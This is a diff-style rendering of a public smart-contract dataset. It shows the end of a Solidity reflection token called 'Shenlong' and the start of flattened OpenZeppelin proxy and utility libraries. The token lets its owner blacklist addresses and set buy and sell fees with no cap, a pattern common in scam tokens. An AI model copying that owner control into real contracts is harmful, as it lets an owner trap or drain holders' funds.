uint256 contractETHBalance = address(this).balance;
|
434 |
+
sendETHToFee(contractETHBalance);
|
435 |
+
}
|
436 |
+
|
437 |
+
function blockBots(address[] memory bots_) public onlyOwner {
|
438 |
+
for (uint256 i = 0; i < bots_.length; i++) {
|
439 |
+
bots[bots_[i]] = true;
|
440 |
+
}
|
441 |
+
}
|
442 |
+
|
443 |
+
function unblockBot(address notbot) public onlyOwner {
|
444 |
+
bots[notbot] = false;
|
445 |
+
}
|
446 |
+
|
447 |
+
function _tokenTransfer(
|
448 |
+
address sender,
|
449 |
+
address recipient,
|
450 |
+
uint256 amount,
|
451 |
+
bool takeFee
|
452 |
+
) private {
|
453 |
+
if (!takeFee) removeAllFee();
|
454 |
+
_transferStandard(sender, recipient, amount);
|
455 |
+
if (!takeFee) restoreAllFee();
|
456 |
+
}
|
457 |
+
|
458 |
+
function _transferStandard(
|
459 |
+
address sender,
|
460 |
+
address recipient,
|
461 |
+
uint256 tAmount
|
462 |
+
) private {
|
463 |
+
(
|
464 |
+
uint256 rAmount,
|
465 |
+
uint256 rTransferAmount,
|
466 |
+
uint256 rFee,
|
467 |
+
uint256 tTransferAmount,
|
468 |
+
uint256 tFee,
|
469 |
+
uint256 tTeam
|
470 |
+
) = _getValues(tAmount);
|
471 |
+
_rOwned[sender] = _rOwned[sender].sub(rAmount);
|
472 |
+
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
|
473 |
+
_takeTeam(tTeam);
|
474 |
+
_reflectFee(rFee, tFee);
|
475 |
+
emit Transfer(sender, recipient, tTransferAmount);
|
476 |
+
}
|
477 |
+
|
478 |
+
function _takeTeam(uint256 tTeam) private {
|
479 |
+
uint256 currentRate = _getRate();
|
480 |
+
uint256 rTeam = tTeam.mul(currentRate);
|
481 |
+
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
|
482 |
+
}
|
483 |
+
|
484 |
+
function _reflectFee(uint256 rFee, uint256 tFee) private {
|
485 |
+
_rTotal = _rTotal.sub(rFee);
|
486 |
+
_tFeeTotal = _tFeeTotal.add(tFee);
|
487 |
+
}
|
488 |
+
|
489 |
+
receive() external payable {}
|
490 |
+
|
491 |
+
function _getValues(uint256 tAmount)
|
492 |
+
private
|
493 |
+
view
|
494 |
+
returns (
|
495 |
+
uint256,
|
496 |
+
uint256,
|
497 |
+
uint256,
|
498 |
+
uint256,
|
499 |
+
uint256,
|
500 |
+
uint256
|
501 |
+
)
|
502 |
+
{
|
503 |
+
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
|
504 |
+
_getTValues(tAmount, _redisFee, _taxFee);
|
505 |
+
uint256 currentRate = _getRate();
|
506 |
+
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
|
507 |
+
_getRValues(tAmount, tFee, tTeam, currentRate);
|
508 |
+
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
|
509 |
+
}
|
510 |
+
|
511 |
+
function _getTValues(
|
512 |
+
uint256 tAmount,
|
513 |
+
uint256 redisFee,
|
514 |
+
uint256 taxFee
|
515 |
+
)
|
516 |
+
private
|
517 |
+
pure
|
518 |
+
returns (
|
519 |
+
uint256,
|
520 |
+
uint256,
|
521 |
+
uint256
|
522 |
+
)
|
523 |
+
{
|
524 |
+
uint256 tFee = tAmount.mul(redisFee).div(100);
|
525 |
+
uint256 tTeam = tAmount.mul(taxFee).div(100);
|
526 |
+
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
|
527 |
+
return (tTransferAmount, tFee, tTeam);
|
528 |
+
}
|
529 |
+
|
530 |
+
function _getRValues(
|
531 |
+
uint256 tAmount,
|
532 |
+
uint256 tFee,
|
533 |
+
uint256 tTeam,
|
534 |
+
uint256 currentRate
|
535 |
+
)
|
536 |
+
private
|
537 |
+
pure
|
538 |
+
returns (
|
539 |
+
uint256,
|
540 |
+
uint256,
|
541 |
+
uint256
|
542 |
+
)
|
543 |
+
{
|
544 |
+
uint256 rAmount = tAmount.mul(currentRate);
|
545 |
+
uint256 rFee = tFee.mul(currentRate);
|
546 |
+
uint256 rTeam = tTeam.mul(currentRate);
|
547 |
+
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
|
548 |
+
return (rAmount, rTransferAmount, rFee);
|
549 |
+
}
|
550 |
+
|
551 |
+
function _getRate() private view returns (uint256) {
|
552 |
+
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
|
553 |
+
return rSupply.div(tSupply);
|
554 |
+
}
|
555 |
+
|
556 |
+
function _getCurrentSupply() private view returns (uint256, uint256) {
|
557 |
+
uint256 rSupply = _rTotal;
|
558 |
+
uint256 tSupply = _tTotal;
|
559 |
+
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
|
560 |
+
return (rSupply, tSupply);
|
561 |
+
}
|
562 |
+
|
563 |
+
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
|
564 |
+
_redisFeeOnBuy = redisFeeOnBuy;
|
565 |
+
_redisFeeOnSell = redisFeeOnSell;
|
566 |
+
_taxFeeOnBuy = taxFeeOnBuy;
|
567 |
+
_taxFeeOnSell = taxFeeOnSell;
|
568 |
+
}
|
569 |
+
|
570 |
+
//Set minimum tokens required to swap.
|
571 |
+
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
|
572 |
+
_swapTokensAtAmount = swapTokensAtAmount;
|
573 |
+
}
|
574 |
+
|
575 |
+
//Set minimum tokens required to swap.
|
576 |
+
function toggleSwap(bool _swapEnabled) public onlyOwner {
|
577 |
+
swapEnabled = _swapEnabled;
|
578 |
+
}
|
579 |
+
|
580 |
+
//Set maximum transaction
|
581 |
+
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
|
582 |
+
_maxTxAmount = maxTxAmount;
|
583 |
+
}
|
584 |
+
|
585 |
+
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
|
586 |
+
_maxWalletSize = maxWalletSize;
|
587 |
+
}
|
588 |
+
|
589 |
+
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
|
590 |
+
for(uint256 i = 0; i < accounts.length; i++) {
|
591 |
+
_isExcludedFromFee[accounts[i]] = excluded;
|
592 |
+
}
|
593 |
+
}
|
594 |
+
|
595 |
+
}
|
organized_contracts/00/0005a63e9ae973fafe53fb4de518e235c6d4f746d5f135a885b1bcdf833d4c20/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"Shenlong","CompilerVersion":"v0.8.9+commit.e5eed63a","Runs":200,"OptimizationUsed":false,"BytecodeHash":"0005a63e9ae973fafe53fb4de518e235c6d4f746d5f135a885b1bcdf833d4c20"}
|
organized_contracts/00/00063e5559b3523c1ebdd1774e6387d8d6a270f712578999183191e11a65ad30/main.sol
ADDED
@@ -0,0 +1,798 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
// File: @openzeppelin/contracts/proxy/Proxy.sol
|
4 |
+
// SPDX-License-Identifier: MIT
|
5 |
+
|
6 |
+
// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)
|
7 |
+
|
8 |
+
pragma solidity ^0.8.0;
|
9 |
+
|
10 |
+
/**
|
11 |
+
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
|
12 |
+
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
|
13 |
+
* be specified by overriding the virtual {_implementation} function.
|
14 |
+
*
|
15 |
+
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
|
16 |
+
* different contract through the {_delegate} function.
|
17 |
+
*
|
18 |
+
* The success and return data of the delegated call will be returned back to the caller of the proxy.
|
19 |
+
*/
|
20 |
+
abstract contract Proxy {
|
21 |
+
/**
|
22 |
+
* @dev Delegates the current call to `implementation`.
|
23 |
+
*
|
24 |
+
* This function does not return to its internal call site, it will return directly to the external caller.
|
25 |
+
*/
|
26 |
+
function _delegate(address implementation) internal virtual {
|
27 |
+
assembly {
|
28 |
+
// Copy msg.data. We take full control of memory in this inline assembly
|
29 |
+
// block because it will not return to Solidity code. We overwrite the
|
30 |
+
// Solidity scratch pad at memory position 0.
|
31 |
+
calldatacopy(0, 0, calldatasize())
|
32 |
+
|
33 |
+
// Call the implementation.
|
34 |
+
// out and outsize are 0 because we don't know the size yet.
|
35 |
+
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
|
36 |
+
|
37 |
+
// Copy the returned data.
|
38 |
+
returndatacopy(0, 0, returndatasize())
|
39 |
+
|
40 |
+
switch result
|
41 |
+
// delegatecall returns 0 on error.
|
42 |
+
case 0 {
|
43 |
+
revert(0, returndatasize())
|
44 |
+
}
|
45 |
+
default {
|
46 |
+
return(0, returndatasize())
|
47 |
+
}
|
48 |
+
}
|
49 |
+
}
|
50 |
+
|
51 |
+
/**
|
52 |
+
* @dev This is a virtual function that should be overridden so it returns the address to which the fallback function
|
53 |
+
* and {_fallback} should delegate.
|
54 |
+
*/
|
55 |
+
function _implementation() internal view virtual returns (address);
|
56 |
+
|
57 |
+
/**
|
58 |
+
* @dev Delegates the current call to the address returned by `_implementation()`.
|
59 |
+
*
|
60 |
+
* This function does not return to its internal call site, it will return directly to the external caller.
|
61 |
+
*/
|
62 |
+
function _fallback() internal virtual {
|
63 |
+
_beforeFallback();
|
64 |
+
_delegate(_implementation());
|
65 |
+
}
|
66 |
+
|
67 |
+
/**
|
68 |
+
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
|
69 |
+
* function in the contract matches the call data.
|
70 |
+
*/
|
71 |
+
fallback() external payable virtual {
|
72 |
+
_fallback();
|
73 |
+
}
|
74 |
+
|
75 |
+
/**
|
76 |
+
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
|
77 |
+
* is empty.
|
78 |
+
*/
|
79 |
+
receive() external payable virtual {
|
80 |
+
_fallback();
|
81 |
+
}
|
82 |
+
|
83 |
+
/**
|
84 |
+
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
|
85 |
+
* call, or as part of the Solidity `fallback` or `receive` functions.
|
86 |
+
*
|
87 |
+
* If overridden should call `super._beforeFallback()`.
|
88 |
+
*/
|
89 |
+
function _beforeFallback() internal virtual {}
|
90 |
+
}
|
91 |
+
|
92 |
+
// File: @openzeppelin/contracts/proxy/beacon/IBeacon.sol
|
93 |
+
|
94 |
+
|
95 |
+
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
|
96 |
+
|
97 |
+
pragma solidity ^0.8.0;
|
98 |
+
|
99 |
+
/**
|
100 |
+
* @dev This is the interface that {BeaconProxy} expects of its beacon.
|
101 |
+
*/
|
102 |
+
interface IBeacon {
|
103 |
+
/**
|
104 |
+
* @dev Must return an address that can be used as a delegate call target.
|
105 |
+
*
|
106 |
+
* {BeaconProxy} will check that this address is a contract.
|
107 |
+
*/
|
108 |
+
function implementation() external view returns (address);
|
109 |
+
}
|
110 |
+
|
111 |
+
// File: @openzeppelin/contracts/interfaces/draft-IERC1822.sol
|
112 |
+
|
113 |
+
|
114 |
+
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
|
115 |
+
|
116 |
+
pragma solidity ^0.8.0;
|
117 |
+
|
118 |
+
/**
|
119 |
+
* @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified
|
120 |
+
* proxy whose upgrades are fully controlled by the current implementation.
|
121 |
+
*/
|
122 |
+
interface IERC1822Proxiable {
|
123 |
+
/**
|
124 |
+
* @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation
|
125 |
+
* address.
|
126 |
+
*
|
127 |
+
* IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks
|
128 |
+
* bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this
|
129 |
+
* function revert if invoked through a proxy.
|
130 |
+
*/
|
131 |
+
function proxiableUUID() external view returns (bytes32);
|
132 |
+
}
|
133 |
+
|
134 |
+
// File: @openzeppelin/contracts/utils/Address.sol
|
135 |
+
|
136 |
+
|
137 |
+
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
|
138 |
+
|
139 |
+
pragma solidity ^0.8.1;
|
140 |
+
|
141 |
+
/**
|
142 |
+
* @dev Collection of functions related to the address type
|
143 |
+
*/
|
144 |
+
library Address {
|
145 |
+
/**
|
146 |
+
* @dev Returns true if `account` is a contract.
|
147 |
+
*
|
148 |
+
* [IMPORTANT]
|
149 |
+
* ====
|
150 |
+
* It is unsafe to assume that an address for which this function returns
|
151 |
+
* false is an externally-owned account (EOA) and not a contract.
|
152 |
+
*
|
153 |
+
* Among others, `isContract` will return false for the following
|
154 |
+
* types of addresses:
|
155 |
+
*
|
156 |
+
* - an externally-owned account
|
157 |
+
* - a contract in construction
|
158 |
+
* - an address where a contract will be created
|
159 |
+
* - an address where a contract lived, but was destroyed
|
160 |
+
* ====
|
161 |
+
*
|
162 |
+
* [IMPORTANT]
|
163 |
+
* ====
|
164 |
+
* You shouldn't rely on `isContract` to protect against flash loan attacks!
|
165 |
+
*
|
166 |
+
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
|
167 |
+
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
|
168 |
+
* constructor.
|
169 |
+
* ====
|
170 |
+
*/
|
171 |
+
function isContract(address account) internal view returns (bool) {
|
172 |
+
// This method relies on extcodesize/address.code.length, which returns 0
|
173 |
+
// for contracts in construction, since the code is only stored at the end
|
174 |
+
// of the constructor execution.
|
175 |
+
|
176 |
+
return account.code.length > 0;
|
177 |
+
}
|
178 |
+
|
179 |
+
/**
|
180 |
+
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
|
181 |
+
* `recipient`, forwarding all available gas and reverting on errors.
|
182 |
+
*
|
183 |
+
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
|
184 |
+
* of certain opcodes, possibly making contracts go over the 2300 gas limit
|
185 |
+
* imposed by `transfer`, making them unable to receive funds via
|
186 |
+
* `transfer`. {sendValue} removes this limitation.
|
187 |
+
*
|
188 |
+
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
|
189 |
+
*
|
190 |
+
* IMPORTANT: because control is transferred to `recipient`, care must be
|
191 |
+
* taken to not create reentrancy vulnerabilities. Consider using
|
192 |
+
* {ReentrancyGuard} or the
|
193 |
+
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
|
194 |
+
*/
|
195 |
+
function sendValue(address payable recipient, uint256 amount) internal {
|
196 |
+
require(address(this).balance >= amount, "Address: insufficient balance");
|
197 |
+
|
198 |
+
(bool success, ) = recipient.call{value: amount}("");
|
199 |
+
require(success, "Address: unable to send value, recipient may have reverted");
|
200 |
+
}
|
201 |
+
|
202 |
+
/**
|
203 |
+
* @dev Performs a Solidity function call using a low level `call`. A
|
204 |
+
* plain `call` is an unsafe replacement for a function call: use this
|
205 |
+
* function instead.
|
206 |
+
*
|
207 |
+
* If `target` reverts with a revert reason, it is bubbled up by this
|
208 |
+
* function (like regular Solidity function calls).
|
209 |
+
*
|
210 |
+
* Returns the raw returned data. To convert to the expected return value,
|
211 |
+
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
|
212 |
+
*
|
213 |
+
* Requirements:
|
214 |
+
*
|
215 |
+
* - `target` must be a contract.
|
216 |
+
* - calling `target` with `data` must not revert.
|
217 |
+
*
|
218 |
+
* _Available since v3.1._
|
219 |
+
*/
|
220 |
+
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
|
221 |
+
return functionCall(target, data, "Address: low-level call failed");
|
222 |
+
}
|
223 |
+
|
224 |
+
/**
|
225 |
+
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
|
226 |
+
* `errorMessage` as a fallback revert reason when `target` reverts.
|
227 |
+
*
|
228 |
+
* _Available since v3.1._
|
229 |
+
*/
|
230 |
+
function functionCall(
|
231 |
+
address target,
|
232 |
+
bytes memory data,
|
233 |
+
string memory errorMessage
|
234 |
+
) internal returns (bytes memory) {
|
235 |
+
return functionCallWithValue(target, data, 0, errorMessage);
|
236 |
+
}
|
237 |
+
|
238 |
+
/**
|
239 |
+
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
|
240 |
+
* but also transferring `value` wei to `target`.
|
241 |
+
*
|
242 |
+
* Requirements:
|
243 |
+
*
|
244 |
+
* - the calling contract must have an ETH balance of at least `value`.
|
245 |
+
* - the called Solidity function must be `payable`.
|
246 |
+
*
|
247 |
+
* _Available since v3.1._
|
248 |
+
*/
|
249 |
+
function functionCallWithValue(
|
250 |
+
address target,
|
251 |
+
bytes memory data,
|
252 |
+
uint256 value
|
253 |
+
) internal returns (bytes memory) {
|
254 |
+
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
|
255 |
+
}
|
256 |
+
|
257 |
+
/**
|
258 |
+
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
|
259 |
+
* with `errorMessage` as a fallback revert reason when `target` reverts.
|
260 |
+
*
|
261 |
+
* _Available since v3.1._
|
262 |
+
*/
|
263 |
+
function functionCallWithValue(
|
264 |
+
address target,
|
265 |
+
bytes memory data,
|
266 |
+
uint256 value,
|
267 |
+
string memory errorMessage
|
268 |
+
) internal returns (bytes memory) {
|
269 |
+
require(address(this).balance >= value, "Address: insufficient balance for call");
|
270 |
+
require(isContract(target), "Address: call to non-contract");
|
271 |
+
|
272 |
+
(bool success, bytes memory returndata) = target.call{value: value}(data);
|
273 |
+
return verifyCallResult(success, returndata, errorMessage);
|
274 |
+
}
|
275 |
+
|
276 |
+
/**
|
277 |
+
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
|
278 |
+
* but performing a static call.
|
279 |
+
*
|
280 |
+
* _Available since v3.3._
|
281 |
+
*/
|
282 |
+
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
|
283 |
+
return functionStaticCall(target, data, "Address: low-level static call failed");
|
284 |
+
}
|
285 |
+
|
286 |
+
/**
|
287 |
+
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
|
288 |
+
* but performing a static call.
|
289 |
+
*
|
290 |
+
* _Available since v3.3._
|
291 |
+
*/
|
292 |
+
function functionStaticCall(
|
293 |
+
address target,
|
294 |
+
bytes memory data,
|
295 |
+
string memory errorMessage
|
296 |
+
) internal view returns (bytes memory) {
|
297 |
+
require(isContract(target), "Address: static call to non-contract");
|
298 |
+
|
299 |
+
(bool success, bytes memory returndata) = target.staticcall(data);
|
300 |
+
return verifyCallResult(success, returndata, errorMessage);
|
301 |
+
}
|
302 |
+
|
303 |
+
/**
|
304 |
+
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
|
305 |
+
* but performing a delegate call.
|
306 |
+
*
|
307 |
+
* _Available since v3.4._
|
308 |
+
*/
|
309 |
+
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
|
310 |
+
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
|
311 |
+
}
|
312 |
+
|
313 |
+
/**
|
314 |
+
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
|
315 |
+
* but performing a delegate call.
|
316 |
+
*
|
317 |
+
* _Available since v3.4._
|
318 |
+
*/
|
319 |
+
function functionDelegateCall(
|
320 |
+
address target,
|
321 |
+
bytes memory data,
|
322 |
+
string memory errorMessage
|
323 |
+
) internal returns (bytes memory) {
|
324 |
+
require(isContract(target), "Address: delegate call to non-contract");
|
325 |
+
|
326 |
+
(bool success, bytes memory returndata) = target.delegatecall(data);
|
327 |
+
return verifyCallResult(success, returndata, errorMessage);
|
328 |
+
}
|
329 |
+
|
330 |
+
/**
|
331 |
+
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
|
332 |
+
* revert reason using the provided one.
|
333 |
+
*
|
334 |
+
* _Available since v4.3._
|
335 |
+
*/
|
336 |
+
function verifyCallResult(
|
337 |
+
bool success,
|
338 |
+
bytes memory returndata,
|
339 |
+
string memory errorMessage
|
340 |
+
) internal pure returns (bytes memory) {
|
341 |
+
if (success) {
|
342 |
+
return returndata;
|
343 |
+
} else {
|
344 |
+
// Look for revert reason and bubble it up if present
|
345 |
+
if (returndata.length > 0) {
|
346 |
+
// The easiest way to bubble the revert reason is using memory via assembly
|
347 |
+
/// @solidity memory-safe-assembly
|
348 |
+
assembly {
|
349 |
+
let returndata_size := mload(returndata)
|
350 |
+
revert(add(32, returndata), returndata_size)
|
351 |
+
}
|
352 |
+
} else {
|
353 |
+
revert(errorMessage);
|
354 |
+
}
|
355 |
+
}
|
356 |
+
}
|
357 |
+
}
|
358 |
+
|
359 |
+
// File: @openzeppelin/contracts/utils/StorageSlot.sol
|
360 |
+
|
361 |
+
|
362 |
+
// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)
|
363 |
+
|
364 |
+
pragma solidity ^0.8.0;
|
365 |
+
|
366 |
+
/**
|
367 |
+
* @dev Library for reading and writing primitive types to specific storage slots.
|
368 |
+
*
|
369 |
+
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
|
370 |
+
* This library helps with reading and writing to such slots without the need for inline assembly.
|
371 |
+
*
|
372 |
+
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
|
373 |
+
*
|
374 |
+
* Example usage to set ERC1967 implementation slot:
|
375 |
+
* ```
|
376 |
+
* contract ERC1967 {
|
377 |
+
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
|
378 |
+
*
|
379 |
+
* function _getImplementation() internal view returns (address) {
|
380 |
+
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
|
381 |
+
* }
|
382 |
+
*
|
383 |
+
* function _setImplementation(address newImplementation) internal {
|
384 |
+
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
|
385 |
+
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
|
386 |
+
* }
|
387 |
+
* }
|
388 |
+
* ```
|
389 |
+
*
|
390 |
+
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
|
391 |
+
*/
|
392 |
+
library StorageSlot {
|
393 |
+
struct AddressSlot {
|
394 |
+
address value;
|
395 |
+
}
|
396 |
+
|
397 |
+
struct BooleanSlot {
|
398 |
+
bool value;
|
399 |
+
}
|
400 |
+
|
401 |
+
struct Bytes32Slot {
|
402 |
+
bytes32 value;
|
403 |
+
}
|
404 |
+
|
405 |
+
struct Uint256Slot {
|
406 |
+
uint256 value;
|
407 |
+
}
|
408 |
+
|
409 |
+
/**
|
410 |
+
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
|
411 |
+
*/
|
412 |
+
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
|
413 |
+
/// @solidity memory-safe-assembly
|
414 |
+
